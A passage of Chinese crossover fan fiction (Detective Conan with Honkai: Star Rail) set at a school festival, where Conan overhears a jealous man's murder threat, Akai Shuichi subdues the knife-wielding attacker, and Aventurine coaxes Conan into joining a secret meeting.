砂金礼貌一笑,“不能。”事实上,他不并讨厌松田阵平的这种有点毁气氛的直白性格,有时还觉得挺好玩的。 “好吧,”萩原研二一耸肩,放弃阻止好友丢脸了,“那回头也发我一份。” 松田阵平又打了声酒嗝,歪了下头,“哈?” …… 而八木海在追着D屁股后面四处救人、打击犯罪的同时,也没忘给砂金寻找基石的下落,他们这个小团体的名声渐渐也打了出去,可惜砂金顺着线索找了不少的宝石、但都不是基石, “孔雀”对绿幽幽的廉价砂金石有特殊的偏爱、甚至连自己的名字都改叫砂金的这一因果混乱的“传闻”已经满天飞了。 为了还吉野浩太郎的人情,时不时就去对方的场子里坐坐庄的砂金在听到这些传闻后,也很无奈, 八卦这种东西,果然不管是什么时代都很流行。 …… 但在砂金的感知里过去了那么久、做了那么多的事,结果娜塔莉夫人之前提过将近的校园祭今日才刚刚开始。 “伯劳!”挑好衣服、挂了和娜塔莉夫人的电话,砂金朝外面喊了一声,“你准备好了吗,我们要出门了!” 砂金没上过学,卡卡瓦夏和伯劳也没上过学,校园祭这种听上去就很有意思的活动、对这间别墅里的所有人而言都是个新奇的体验, 所以没道理会有人缺席。 盯着厚厚的词典发着呆的伯劳嗯了一声,起身将书在书架上放好,还不忘把书签夹到自己看好的位置上。 砂金空闲时的睡前故事多少起了作用,至少现在伯劳不少能看进去一些插画图片,而不是放着让清风来翻页认字了。 而卡卡瓦夏不用砂金专门去叫,他老早就兴奋地等在门口、随时随刻准备出发! 要不是「砂金」牵着,感觉卡卡瓦夏能高兴地蹦到天上去——卡卡瓦夏喜欢庆典,他是在庆典上诞生的,而卡卡瓦日是埃维金人为数不多能够庆祝雨水、听到欢笑声的日子, 这导致卡卡瓦夏对一切“庆典”都有着非比寻常的期待感。 …… “雨水”和“欢笑”……吗? 砂金瞌瞌眼皮,勾着唇没有说话……伯劳倒是盯着砂金看了一会儿,也是一声没吭, 伯劳不说话,谁也不知道他脑袋瓜子里想了些什么…… 呃,说了、别人可能也听不懂他是怎么想的。 …… 但能不能听明白他想做什么并不重要……朱蒂暗暗地给自己打了声气,她作为同伴,只要相信秀的判断就好! 这不是因曾经的感情、而造成的盲从, 而是赤井秀一的确很是优秀,是一个有着超乎其他所有人的远见和计谋的聪明人。 所以朱蒂虽然整个人有些云里雾里的,但还是按照对方的希望、“诚邀”赤井秀一来帝丹高中的校园祭上游玩。 “娜塔莉老师,这位是我的朋友、赤井秀一,”朱蒂向娜塔莉介绍着身边的男人,“秀,这位是我在学校认识的好友……” 早就在资料上见过对方许多次了的赤井秀一向娜塔莉礼貌性颔首,仿佛像是第一次见面一样,“我听朱蒂提到过你,很感谢你对她的照顾……” 日式寒喧总是那么老一套,娜塔莉也很配合着应着,“只是举手之劳而已。” 其实心下,娜塔莉想着的却是刚刚打电话说已经出门了砂金他们……应该也快到了吧? “娜塔莉老师是在等人吗?”注意到对方频繁向校门口扫去的目光,赤井秀一也便顺势向娜塔莉明知故问道。 “啊,是……抱歉、我有点走神了,”娜塔莉嗯了一声、不好意思地笑了笑,“我认识的一个孩子也会带他的朋友们来参观游玩,所以我想着去接一下他们。” 孩子……? 用来形容那个金发异瞳的青年好像也没什么问题,确定砂金今日的确会到场后,赤井秀一不再刻意询问,“那是我有些打扰到老师了,朱蒂……” 接收到信号的朱蒂配合默契,猛得热情地给了娜塔莉一个拥抱,打断了还想礼貌回复赤井秀一的对方,“那娜塔莉老师,我带秀去别的地方逛逛,就不打扰你啦!” 再你一个“没关系”、我一个“不好意思”的,话题就要聊个没完没了了,反正朱蒂是不太习惯于这个国家的“道歉”文化。 赤井秀一则是觉得再不走的话,可能会和某些不是很想现在见到面的人碰到一起——他在来时,在路上见到了一辆眼熟的白色马自达, 那是安室透的爱车。 算算时间,他们两波人应该会在差不多的时候到达帝丹,赤井秀一准备先避一下对方。 …… 而赤井秀一和朱蒂刚离开没多会儿,娜塔莉在校门处迎到了自己的学生,和两位有些眼熟的成年男性、以及一位真正的小孩子…… “娜塔莉老师!” 毛利兰向着娜塔莉招了招手,脸上很是放松开心的神色,“今天我们社团组建了猫咪甜点屋,你有空的话可以过来玩玩,我们准备了很多甜点和饮料哦!” 校园祭是国内每所学校一整年中都会经历那么一到两次的大活动,特别是在国中部和高中部,不少社团都会创办或是演出各种特色活动展示宣传自己、招募有着相同爱好兴趣的新伙伴们加入社团, 毕竟没有活力、或是不受欢迎的社团,可是会面临废部的危险呢。 “啊,这两位是我请来的外援,安室先生和绿川先生,”毛利兰介绍着,“他们也会帮忙做些饮品和甜点的!” 毛利兰加入的社团是……空手道部,虽然有经常代表学校打比赛、赢奖项的荣誉在,帝丹不可能将空手道社团废部,但谁会不喜欢让自己的社团更受欢迎呢? 而在花样颇多,办鬼屋、演话剧、甚至还有女仆咖啡厅的社团内卷中,空手道表演实在是有些无聊无趣了,毛利兰还是在砂金家的那次派对上获得的灵感——他们可以举办一个现场的甜品制作屋! 唯一的不足之处就是,社团里的人大部分只会一些在家政课上学过的简单烹饪,像毛利兰这样从小就开始给一家人做饭吃的还是少数,有能力指导参加活动的其他同学做东西的人就更少了, 于是社团部长想到了请外援——能找到人帮忙,那也是社团的本事啊! 说到谁擅长制做甜点……毛利兰第一个想到的便是自己家楼下咖啡厅里的咖啡师兼甜点师的安室先生了,于是抱着试试看的心态,毛利兰向安室透发出了邀请。 …… “请我做技术指导吗?” 安室透很爽快地答应了下来,并且很热心地开始“买一送一”的推荐起来,“正好那天我休班,没什么事做……对了,我朋友这几天刚回国,我可以带上他一起去参加活动吗?” 安室透眨眨眼,语气莫名有些自豪,“我的手艺都是我朋友教的,他做的甜点也超好吃哦!” 毛利兰当然也没有拒绝的道理。 …… “你好……绿川先生和……安室先生,”娜塔莉应得稍有些迟疑,但很快又面色如常,好像刚刚只是在记忆对方的姓氏而已。 诸伏景光含笑的目光扫了安室透一眼…… 我就说吧,娜塔莉她肯定能认出我们的。 他们从警察毕业时,娜塔莉还是班长的女朋友,但娜塔莉肯定见过被松田阵平恶作剧一样给诸伏景光画上过胡子的那一张五人合影, 认出他们来的这事并不奇怪。 安室透回以诸伏景光一个了然的目光…… 我也猜对了,娜塔莉她会继续装作不认识我们的。 娜塔莉也是个聪明的人,和伊达航同期的好友顶着陌生的名字出现在她面前——这代表了什么,不必多言。 在场人心情似乎都挺不错的,只有柯南有些沮丧地着跟在毛利兰身后,理由很简单, 园子她的社团本来打算邀请小兰和他去参演话剧、演公主和骑士的,结果他“失踪”了,活动才被迫更改成了其他的计划! 可恶,柯南暗暗可惜,他本来可以看见小兰打扮成公主的! …… 再次送别第二批人,娜塔莉终于等到了她一开始便在等的人, 穿着贵气、金发在阳光下闪闪耀眼的漂亮青年加快了脚步向娜塔莉迎来, “娜塔莉夫人,午好呀~” 第130章 看到砂金的一瞬间,心情好像更好了不少,娜塔莉招呼着砂金跟上她。 娜塔莉:“旁边的这位是?” “我朋友,兼职保镖, ”砂金和伯劳勾肩搭背,砂金喜欢伯劳的身高、这是他来到这个世界后搭得最顺心的一次——特指不用踮脚、或是让人弯腰配合, “也是第一次来玩, 麻烦娜塔莉夫人多费心啦~” 谈不上费不费心,娜塔莉挺高兴见到砂金能多认识一些朋友的……恐怕也只有不知道砂金有多会交朋友的娜塔莉会这么想了。 在得了娜塔莉“可以先自己看看有什么感兴趣的活动”的许可后,最先跑进热闹的人群中的人是卡卡瓦夏,其次是「砂金」。 有实质无法穿过挡路的人们的砂金落了后,无奈地叹了声气和娜塔莉又聊了一会儿天,打算之后自己带着伯劳再慢慢逛吧——而卡卡瓦夏那…… 就让他们自己去玩吧。 …… 在到了这个世界后, 卡卡瓦夏有了许多新奇的体验, 第一次去游乐园, 第一次去看大海, 第一次参加校园祭…… 卡卡瓦夏很开心,新奇的东西总是看不完。 揉了揉卡卡瓦夏的头,「砂金」突然问道,【卡卡瓦夏喜欢现在吗。 】 【当然喜欢啊,因为会很开心……】卡卡瓦夏目不转睛地盯着路边搭起的小型舞台上、正在表演着魔术的魔术师。 「砂金」:【那……】 【大哥哥,你说……】 魔术师从帽子里抓出了只白鸽,卡卡瓦夏哇了一声、盯着那白色的小鸟飞向天空盘旋一圈后回到魔术师哥哥的手上后,突然问道,【你说姐姐和妈妈她们现在在哪里呢? 】 【在……一个很远很远的地方,】「砂金」回答, 【那里有极光、有雨水、有食物,或者又什么都没有。 】 【那大哥哥, 你说她们会想我吗? 】 【当然会。 】 【所以现在这些已经足够了,】卡卡瓦夏一直都很聪明,【我是过去,我的脚步自然也该停在过去了,大哥哥……不然让姐姐妈妈她们等太久了就不好了,】 【而且我也很想她们了,我还想好了该怎么把我这段时间的快乐分享给她们听。 】 所以卡卡瓦知道「砂金」想说什么,但他还是选择了拒绝。 【好吧好吧,】「砂金」抬手捏了捏自己的鼻梁,【大的小的都这样,反而显得我有些心怀鬼胎、不够大度了。 】 「砂金」感知到了基石, 本来想着卡卡瓦夏如果喜欢现在的生活,他就想办法再多瞒着砂金一段时间、拖延对方发现基石的机会呢, 毕竟基石找齐得越快,不仅代表着砂金将越快地回到属于他的那个世界去,更代表着他们两个幻影越快地到了该消失的时候了。 结果卡卡瓦夏拒绝了他想要捣乱的心思,连他一个小孩子的意识都清醒的不像话。 「砂金」扫了一眼消失在人群中的、戴着针织帽的高大男人,【那就让他自己去找吧。 】 当然,「砂金」不会主动制造麻烦、但也不会多帮砂金什么。 或许他该带着卡卡瓦夏、再少一些地出现在砂金的面前了,已经在有意减小自己的存在感、连怼人都不怎么怼了的「砂金」想到, 他们早晚会消失的,砂金需要慢慢适应过去只有自己一个人的生活。 …… 哎,他操那么多心干什么? 「砂金」又摇了摇头,砂金他其实, 也没有多“依赖”他们啊…… 他们这么好用的“跟踪器”兼“窃听器”,砂金他可没用过几次。 或许砂金也做好了随时和他们告别的准备了吧。 …… 不远处, 毛利兰带着安室先生和那位叫绿川光的先生走在前面,没什么活力的柯南吐着魂、有气无力地跟在几人身后, 他的……“公主”小兰啊! 柯南还在惆怅,也不是说他有多么想看见小兰穿公主裙,但本来应该有一个美好回忆的经历、却因为他自己的那个“特殊”原因而错失了,柯南很难不为之遗憾。 “到了,就是这里!” 毛利兰向两位外援展示着刚搭好的社团展区,印着各色猫咪图案的开放式小厨房还没正式开始活动、就已经有不少人好奇地过来围观了。 猫咪不能吃巧克力,而甜点蛋糕里有不少都要用到巧克力粉的配方,所以猫咪甜点屋里肯定不能有真猫咪出现了,所以“猫咪”这个元素主要体现在…… 诸伏景光好笑地展开手里的猫耳围裙,没想到自己都这个年纪的人了、还要穿这种衣服卖萌,诸伏景光又看看安室透, 果然,现在还是他好友那张脸适应这种打扮。 安室透耸耸肩,该庆幸毛利小姐他们举办的是猫咪蛋糕屋,而不是女仆咖啡厅吗? 不然他们可就要为任务牺牲一下节操了。 是的、没错,安室透和诸伏景光答应来给毛利兰帮忙也不是单纯因为好心,更多的是因为……他们收到了赤井秀一的暗示。 有情报显示赤井秀一最近出现在了米花帝丹的附近,而以赤井秀一的能力和两人对对手的了解而言、赤井秀一的行踪不应该这么快暴露,所以那家伙是有意泄漏出自己的位置的, 那还能是为了什么? 安室透确定,赤井秀一应该是有什么事想找他们谈谈, 这可真是件怪事。 不过考虑到以往双方见面就干、枪林弹雨的过往“交情”,赤井秀一不可能那么快就主动出现在他们面前,对方起码得确认完环境安全、波本他们没有另设陷阱之后才会有所行动, 安室透检查了一下烤箱和食材,很悠闲地系上小猫围裙, 而他,才不要去找赤井秀一呢,这么难得的机会,他当然要等赤井秀一主动求上门来喽。 蛋糕屋正在做最后的准备工作,帮不上忙的柯南只好找了个角落坐下,背靠着另一个社团撑起来用来做隔断的幕布、独自发呆, 无聊啊无聊…… 柯南想,这绝对是他过过的,最无聊的校园祭了,能有什么事让他做做也好啊! “该死的!那个该死的混血杂种!凭什么他就可以和娜塔莉走得那么近,凭他有钱了不起的、凭他长得帅吗?!” 柯南念头刚落,身后的幕布那头突然传来了阴沉沉的骂声,“凭什么所有的女人都喜欢他,我绝对、绝对不能放过他……” “我一定会杀了他……干脆就今天吧?” 不是吧?柯南眼角一抽,这种事……他其实不做也行的啊! ! ! 第131章 什么无聊,什么无趣……一溜烟的全都跑了,柯南小心翼翼地在幕布后那人不断的咒骂下悄悄撤走、又在撤远后飞快地迈着脚往后面的布地那跑。 “柯南?” 毛利兰叫了一声都没喊住对方,“柯南!小心点跑啊!”来来往往那么多人,别磕碰到哪了啊。 “毛利小姐放心好了, ”打发着奶油的安室透抽空回了一句, “那孩子是我见过最聪明的孩子了,不会出事的。” 毛利兰无奈, “好吧, 柯南的确很聪明……” 而一聊到这个话题,毛利兰不免像到无法出席校园祭的另一个人了——不仅是柯南在遗憾无法和毛利兰一起演话剧, 毛利兰也是同样的心情, 明明会是一个很美好的回忆的, 结果…… “聪明的总是让我想到……”毛利兰道,“他好像就是新一变小了一样。” 已经在这段时间经过各种突发案件、见识到了那个小家伙的非比寻常的安室透, 在听到这话后微微低了下头, 嘴角露出了几分似有似无的笑意。 …… 而柯南…… 他得去看看起了杀心的人长什么样啊! 然而排成串的社团场地太多了,隔壁的魔术表演又吸引了不少人聚众围观,等柯南穿过人群、找到空隙钻到背面那块布景场地之时, 书法社的社员们已经开始布置场地,而之前在幕布后杀心四起的人却没了踪影。 “这……可恶啊!”柯南咬了咬牙,再次往人群里钻去,找不到嫌疑人…… 那找到将要被害的人也可以! …… “啊啾——!” 已经和娜塔莉分开——毕竟他也不是真的小孩子、还需要监护人寸步不离, 娜塔莉夫人也是有自己的工作的——的砂金凭空打了个喷嚏, 「砂金」又在卡卡瓦夏那说他的坏话了? ? ? 砂金摸了摸鼻子,感觉自己好心没好报, 亏他专门没去给「砂金」添乱子。 “免费冰淇淋,这位同、同学要试试吗?” 脖子上跨着小保温箱的学生大着胆凑了过来,年轻的男生看上去还有些紧张,说话结结巴巴地,“都是我们社员自己做的,要、要不要尝尝……” “别紧张嘛、朋友,”砂金从伯劳的肩膀后探出头,不知道别紧张是在安慰对面的学生、还是在安抚因为人太多而自动进入严防死守模式下的伯劳……也有可能是两者皆有。 “手工冰淇淋吗?”砂金向男生笑了笑,“那就尝尝吧……” “砂、砂金哥哥——!” 也亏了砂金那张脸和出众引人注目的气质,柯南很快找到了砂金,结果便见砂金接过了陌生人递来的东西准备入口。 小心有毒啊! 手指按下了腰带上的开关,充气足球飞快成型弹出,柯南用力地甩腿踢出——砰! 蓄满了力的足球以一种刁钻的角度穿过人群、直直的袭上砂金接过冰淇淋的手腕。 然而就在足球将要完美打落目标前的那一刻,半路而出的一条腿猛得落下、正正好将足球一脚踩在地上、用力之大甚至直接踩爆了充气足球,足球瞬间在地面上摊成了一张球皮, 伯劳随之甩过去的冰冷杀气直接将柯南冻在了原地。 “柯南?”砂金尝了尝一口冰淇淋,感觉味道挺不错的,“你也要尝尝看吗?我五星好评推荐哦~” “啊、谢谢点评!”有被这一下吓到学生回神,向砂金感激地笑了笑,又塞给砂金一个甜筒,“那我、我就先走了……” 砂金这张脸,普通同性看了都容易闹个脸红起来。 没、没毒吗? 柯南呆了呆,尴尬地挠头……他有点太着急了,“抱、抱歉……” “没事,”砂金从挡在他身前的伯劳身后绕出来,顺手把多出来的冰淇淋甜筒塞到伯劳手上,随后走过来半蹲在个子矮矮的柯南面前、与之平视, “柯南肯定不会是随便乱踢球,故意打扰别人的坏孩子,”砂金笑眯眯地问,“所以是又出什么事了吗?” 头皮莫名发麻的柯南:…… 有时真不知道该不该高兴于砂金对他的“信任”,柯南微微后退了半步,砂金敏锐得好像知道他是工藤新一似的,这难免让柯南感到一种身份将要暴露的不安感。 伯劳看了看手里的冰淇淋,沉默的一点点咬着,冰冷黏腻的陌生口感让他皱紧了眉…… “不喜欢吗?”砂金显然也在留意着伯劳,和柯南说话的空隙里还不忘对伯劳道,“那等下就丢到垃圾桶里吧。” 虽然有些浪费,但也不能把吃过的东西再给别人吃吧? 不喜欢就要丢在垃圾桶里吗?伯劳盯着甜筒,眼神专注地好像在思考什么世界难题…… “呃,的确是、是发生了一些事,”柯南出声引回了砂金的注意力,他好像也没有别人可以讨论这件事了,只好附耳向砂金讲起了他意外得知的情况,“我之前听到……” 所以, 有人因为他和娜塔莉夫人走得太近、所以嫉妒心太强起了杀心?砂金挑了下眉,果然…… “娜塔莉夫人果然就是这么受人欢迎呀,不过嘛、我才是她最喜欢的学生哦~ ” ……你不要一脸的得意骄傲啊!柯南死鱼眼,这关注点完全错了啊喂! “不过被那么危险的人喜欢也是个潜在风险,需要警惕。” 砂金向娜塔莉发了条信息询问着对方位置,同时也不忘告诉伊达航一声,不方便用偷听到的几句话报警、但告诉朋友一点事就没有那么多条条框框的规定了。 “再不过……”砂金又转了次话音,“你确定那个人想针对的是我吗?” 不是怀疑工藤新一所说的真假,也不是怀疑自己不是娜塔莉最喜欢的学生,而是、砂金真的没感觉到附近有针对他的恶意,而砂金刚好对自己的危险预知能力也很有自信, 那个嫌疑人真的能把自己伪装的那么好、躲过他的感知吗? 柯南迟疑,“也许?”和娜塔莉老师走得近的混血儿,难道不就是砂金吗? 砂金想了想,还是又多问一句, [娜塔莉夫人请您注意安全、我马上过来找您,对了、您今天还有和我之外的混血男性有过接触吗? ] 娜塔莉回得很快, [有的确是还有……除你之外还有两位,分别是朱蒂老师的朋友、赤井先生,和毛利同学邀请来的安室先生。 ] 看吧,砂金将短信展示给了工藤新一查看,并说道,“我们要不要也去找一下那两位先生问问情况?” 第132章 既然还有其他可能存在的受害人, 那自然也要去问一问其他人的情况了。 朱蒂老师是最近新来的外教,柯南并不熟悉对方、更不认识对方的朋友“赤井先生”,与娜塔莉汇合后, 几人率先找到是待在甜点屋没有四处移动的安室透。 “……有犯人可能会向我下毒手?”安室透脸上一幅忧心忡忡的表情, “这真是个糟糕的坏消息。” ……戏瘾真重啊,砂金咬碎最后剩下的一点甜筒壳子、拍了拍手上的渣渣, “娜塔莉夫人别担心,我会尽快找到那个该死的混蛋的、绝不会令您蒙受任何的损失。” 她不是担心这个……娜塔莉欲言又止, 算了,能早点找到对方、大家都能更安全…… 将刚捏好的饼干放进烤箱内、顺带定好时了的诸伏景光也抽空聚了过来,而他的目光一瞬间就被砂金抓了去。 难怪zero没怎么过多介绍那位“大侄子”、只说见到了就能认出来,诸伏景光想,对方的确显眼的不会叫人认错或是忽视。 砂金他同样注意到了诸伏景光,不过他没有太过在意这个陌生人,安室透身边的人就那么两类,一类是类似于组织里的罪犯、另一类则是类似于公安的同僚, 而能被安室透带到娜塔莉面前的人,自然只有后者。 “那现在……”安室透不知道是怀了什么心情,担扰地继续说道,“我们是不是该去寻找另一位赤井先生了?” “要是他遇到了什么危险……” 安室透觉得自己能笑到肚子疼,堂堂FBI的王牌被一个小人阴了、这不得是个天大的笑话? 砂金轻轻挑眉,他看出来了点安室透皮下的幸灾乐祸, 所以那位“赤井先生”和安室透还是熟人? 就是不知道是哪方面的熟人,如果是不好的那方面的……砂金想,要是那位起了杀心的朋友手脚不够利落,他也不是不能帮一下忙、将危险扼杀在那位赤井先生想对娜塔莉夫人不利之前。 …… 想打喷嚏的换了另一个人, 脚下踩着低声哀嚎的陌生男人,赤井秀一抬手摸了摸鼻尖、把莫名的痒意忍了下去, 说起脚下这人……赤井秀一松开脚,随意地用脚尖踢开掉在一旁的水果刀,他在和娜塔莉老师见面的时候就发现对方了, 那种被有些恶念的视线监控感觉,还让赤井秀一以为对方是波本和苏格兰提前派来监视他的手下呢。 结果,赤井秀一有意到了无人的教学楼角落想看一下背后那跟踪技术拉垮、杀意越来越高的家伙到底是怎么回事,对方先一步拿着刀冲上来了, 赤井秀一:……? 好了,现在赤井秀一肯定这家伙和波本、苏格兰他们无关了,斗了那么些年的老对手不会派个这么蠢的家伙来刺杀他的,尤其是在他把“赤井秀一”这个名字都露了出来的时候。 “秀,要报警吗?”朱蒂迟疑地问道,这……完全有些儿戏的突发情况,让她也是很难形容自己的心情。 那个陌生男人举着水果刀冲过来的时候,朱蒂下意识地朝几个狙击位点看了过去、生怕这家伙是个障眼法,都没想到过对方真的只是单纯的头铁。 “应该是个……”赤井秀一顿了顿,然后道,“路人。”和他们要查要办的事无关。 朱蒂:…… 好吧,的确是个“路人”……但凡知道“赤井秀一”这个名字代表了什么的行内人,都不会指望着能用一把水果刀、“单枪匹马”地干掉赤井秀一。 赤井秀一弯腰蹲在了男人面前,伸手抓起男人的头发、强制性地让倒地的男人抬起头,问询道:“你的身份?” 他是走旅游签证入境的FBI ,没什么事总是报警的话……赤井秀一不在意什么外在影响,主要怕让某人知道了又想方设法地给他找麻烦。 是的,赤井秀一已经隐约意识到波本的真实身份了,所以他才打算趁机会儿好好和对方聊一聊。 “混、混蛋!”男人捂着受击的肚子,痛得直不起身,“我绝对不会放、放过你的!啊、痛——!” 赤井秀一手上又用了点力、引得男人又发出一阵疼痛的声响,赤井秀一重复道,“你的身份,还有你为什么要袭击我,” “我不记得我有在哪里得罪过你。” “该死的杂种!我喜欢了娜塔莉那么久、我都不敢和她太过接近,凭什么你一来就又是送珠宝送手饰的……”男人怒骂着,“有钱就可以想干什么干什么了吗!嘶……混蛋!” 噢,在男人恼羞成怒的骂声里,赤井秀一大概搞明白是怎么回事了。 这个男人喜欢娜塔莉,但因为娜塔莉已经结过婚、有个当警察的丈夫,这家伙不敢上前骚扰对方,只能暗暗吃味, 结果这种时候,又有个混血儿和娜塔莉走得很近,“爱而不得”的男人顿时心态不平衡了、忌妒地想要杀人。 赤井秀一放下男人直起身,而他——是个倒霉鬼罢了。 娜塔莉平时工作不怎么频繁出入校门,男人没真的见到过那个“混血儿”和娜塔莉老师见面,应当只是听说过有那么一个经常给娜塔莉送礼物的有钱人存在。 趁着这次校园祭、学校面向大众开放校园,男人才得以暗中寻找那个“可恶的混血儿”,结果就那么巧合的、让他看到了娜塔莉和赤井秀一交谈的画面。 他这算是……替任务目标顶了“祸事”?赤井秀一认出来对方原本的目标是谁了——除了砂金,别无其他人选。 问清楚来龙去脉后,赤井秀一向朱蒂点了下头,“现在报警吧……” “朱蒂老师,还有是赤井先生吗……等等、你们在做什么——?!” 吃惊地惊呼声从不远处传来,刚从怀里把烟掏出来的赤井秀一僵了下,就听到一道熟悉的声音、唯恐天下不乱似地紧接着惊慌地喊道,“你们想对那位先生做什么?!” 僻静无人的角落,高大“凶悍”的男人,还有蜷缩在地上呻吟的“无辜”、“弱小”的“受害者”……赤井秀一沉默了一瞬间,这的确容易让不知情的外人误会, 但是波本不可能看不出真相,那家伙说出那种话来、绝对就是在故意给他添麻烦! 更为尴尬的是,倒地的男人竟然真的挣扎着向一路问着人、才寻着赤井秀一找来的砂金和安室透一行人喊着, “救、救救我……” 第133章 赤井秀一的确长得高大帅气……但一点也不妨碍他长得确实很“凶”啊的真实! 说是能夜止小儿啼泪都不为过。 在朱蒂口忙手乱地比划和解释之下, 赤井秀一才摆脱了娜塔莉那神情古怪地看向他的眼神,为自己赢回了“清白”。 “赤井先生没有因我受伤便好。”娜塔莉礼貌地圆着场。 安室透轻声:“啧……”可惜了,没能把赤井秀一整进局子里去。 ……我听见了, 赤井秀一看向以前担当着调解员这一身份的诸伏景光, 你不管管? 我可什么都没听见……跟了过来的诸伏景光微笑。 赤井秀一对安室透他们的真实身份有所猜测, 安室透和诸伏景光对赤井秀一可能知道他们的真实身份一事也心有所感。 好吧, 又拉偏架、他应该早点习惯的……赤井秀一终于还是把烟又塞回到了口袋里, 有女士和小朋友在、还是不抽了得好, 这也是在赤井秀一身份暴露之后,三瓶威士忌第一次相对平和的见面。 除此之外, 赤井秀一看向他关注的另一个重要角色——金发异瞳的年轻人正一脸若有所思地看着他……的吊坠。 赤井秀一低头看了看挂在自己胸前的饰品, 砂金对这个感兴趣吗? 看来, “砂金”不仅仅是砂金的名字这么简单的事了,赤井秀一想。 …… 赤井秀一知道自己的这枚吊坠材质是砂金石,不过在砂金这个人出现在他的情报调查报告中之前,赤井秀一并没有发现“砂金石”和梦中的那位“砂金先生”有什么联系, 也并不知道自己的梦境是因何而起。 毕竟吊坠是赤井秀一从小就有了的,梦境却是在他为加入FB Ⅰ而努力之时才出现的,再怎么进行排除法、赤井秀一也不会像格查尔那样很快地发现吊坠的特殊之处, 这不是因为赤井秀一不如格查尔聪明,而是实在缺少参考系罢了——像现在,注意到了砂金后、有了对比参考的赤井秀一很快便把吊坠和梦联系在一起了。 这石头难道是来自外太空的陨石?梦境则是在特殊条件下才在发生的辐射影响吗?赤井秀一飞快地联想到, 因为赤井秀一在怀疑、砂金应该不是地球人类。 作为在国外长大的混血儿,赤井秀一儿时也对UFO之类的传言感兴趣过,联想到外星人上也很正常, 甚至美国还有专门研究外星课题的秘密部门, 外星人在赤井秀一的设想中并不是完全不科学的存在概念。 深觉对面那个戴着针织帽的男人、看自己的眼神也有些奇怪的砂金眯了下眼,总感觉,这次的基石…… 可能没那么方便地拿回来了。 这位赤井秀一,是冲他来的。 …… 接到砂金通知的伊达航赶来得很快,犯人虽然仍在嘴硬、但在朱蒂的证词和水果刀上的指纹证据下,犯人以杀人未遂的罪名被抓捕归案。 “安室先生,还有绿川先生……”赤井秀一主动退了一步、叫住了曾经的老搭档兼老对手们,“有空的话,我想和你们再叙叙旧。” 被无视了很久、存在感跟着个子一起缩小了的柯南来回打量着在场的几人, 好怪……柯南想,安室先生和绿川先生是朋友,砂金和安室先生也是朋友,这位赤井先生和安室先生、绿川先生又是朋友,可先前安室透并没有表现出和赤井秀一认识的倾向, 连同赤井秀一和砂金之间的气氛也是不清不楚、古古怪怪的…… 太怪了,这些人好像都有着很隐秘的秘密一样。 什么都不知道的柯南像是个被关在玻璃罩里,对着罩外一大堆毛线团急得乱窜的猫, 爪子很痒、但一个毛线团都挠不到! …… 但没关系,柯南会碰到好心人帮他挪开玻璃罩的。 目送着赤井秀一和约好了之后再谈时的时间和地点的安室透两人离开,不急着去拿回基石碎片的砂金敲了敲柯南的“玻璃罩”。 “嗨、朋友,”砂金问柯南,“要和我一起去凑个热闹不?” 柯南扭头、怀疑地看向砂金,“你是想……” 跟踪偷听?而且为什么又要问他? ? ? 砂金挑眉,“你就不感兴趣?” 说不感兴趣……那肯定是不可能的,好奇心是每个侦探都会有的源动力,柯南也不例外。 “但是……”柯南迟疑,“会不会不太好。”这和上次意外听到基德和砂金的谈话可不一样,无缘无故就去偷听什么的、好像不怎么道德。 “我赌他们肯定会聊和我有关的事,输了我就去死,”砂金道,“所以我这个当事人允许你去偷听。” 而且有意当着他的面约定时间……这说明赤井秀一他们也在暗示让他跟上了,砂金会赴约的,不过他不会单人赴约罢了, 砂金打算顺便卖个“好处”给可怜巴巴地被排除在外了的工藤同学。 柯南:“……喂,你这是歪理吧?”还有不要把去死那种话说得那么随意! “我说的是事实,”砂金眨眨眼,循循善诱道,“你难道就不想知道安室先生是什么人吗?不想知道那位绿川先生是做什么的?不想知道赤井先生的目的是什么吗?” 他可太想了,安室先生一看就不是个普通人,绿川先生手上有可疑的枪茧,赤井先生出现的时机也很古怪……但, 柯南艰难地拒绝着砂金的诱惑,“我、我不知道你在说什么啦,他们有什么奇怪的地方吗?” 装傻充愣、转移话题?砂金勾了勾嘴角,凑近柯南的耳边小声道,“那你想不想知道安室透他前几天去工藤宅发现了什么,” 什、什么?柯南瞳孔地震,安室透去过他家了? ! “想不想知道绿川光他回国是准备追杀谁?” 不会是他的身份暴露了,回国要追杀他“工藤新一”的吧? ! “想不想知道赤井秀一他……” “停——!”柯南猛得打断了砂金,惊魂不定地看向了砂金,压着声音问道,“你……你怎么知道的这么多?” 因为他是随口胡诌的……噢,只有安室透去过工藤宅一事是真的,因为砂金在附近感知到了安室透的行动,但安室透有没有发现什么、砂金也不知道。 空手套白狼的砂金笑得无辜,无视柯南的提问继续道,“所以,你要不要陪我一起去?” 这下被抓住了命脉的柯南肯定了,砂金一定知道他就是工藤新一了! 柯南咬了咬牙,“去!” 很好,砂金心满意足,侦探先生可真好拐。 第134章 隐藏的危险被除去,校园祭又恢复了原本的样子、顺利地进行了下去——至少在绝大数人眼中是这个样子。 天色渐晚,社团活动也都开始收摊了,砂金向毛利兰打了声招呼, 用感谢柯南及时发现了危险、打算带柯南出去再玩一会儿的理由成功“拐带”走了某位小朋友。 已经忙了半天,没什么精力再跟着照顾柯南了的毛利兰很放心砂金先生,放心到柯南都才是第一次发现、原来毛利兰对砂金的信任程度已经到了这种分上了。 而砂金也没辜负毛利兰的信任,转头就带着柯南去了…… 一个看上去很不妙的地方。 被砂金单手抱着托起的柯南抬头看了看面前的破败烂尾楼,又扭头看了下面不改色、礼貌微笑着像是要去参加什么宴会一样的砂金。 “你确定……我们要在这里、呃, 偷听吗?” 而且这也不是赤井秀一和安室透他们聊天时约的那个地点啊! 柯南觉得有些不靠谱和不安全……在这种地方出个“意外”什么的,感觉尸体被拉到垃圾焚烧场烧成灰了,别人都不一定能发现这死了个人。 还是说是砂金把窃听装置放到这边了? 事实上, 还有更不靠谱的…… 砂金抱着柯南,直勾勾地推开门就走了进去, 柯南:? ? ? “朋友, ”砂金向有点昏暗的楼内扬声道, “借个光,这还有个小朋友呢、摸黑走路不安全。” 柯南:! ! ! 砂金话音刚落,空荡荡的废弃楼内的一角还真亮起了一道光,诸伏景光打着手电筒出来接应着砂金和柯南。 不……不对, 柯南僵在砂金怀里, 这和砂金一开始说的“偷听”可不是一回事儿啊! 难道他到底还是所信非人、错信了砂金,这次不过是砂金设局想把他威逼利诱带走, 好杀人灭口?还是说砂金也是那个组织的成员,抓他是为了当实验品…… 就在柯南疯狂开始头脑风暴之时,绿川光开口打消了柯南一小半的紧张感, “这孩子……”诸伏景光目光移动了柯南身上,“恐怕不太适合参与到我们的谈话之中吧?” 所以把他带来是砂金一个人的擅作主张?柯南紧绷地神经微松, 那这场见面便不是只针对他一人的“鸿门宴”…… 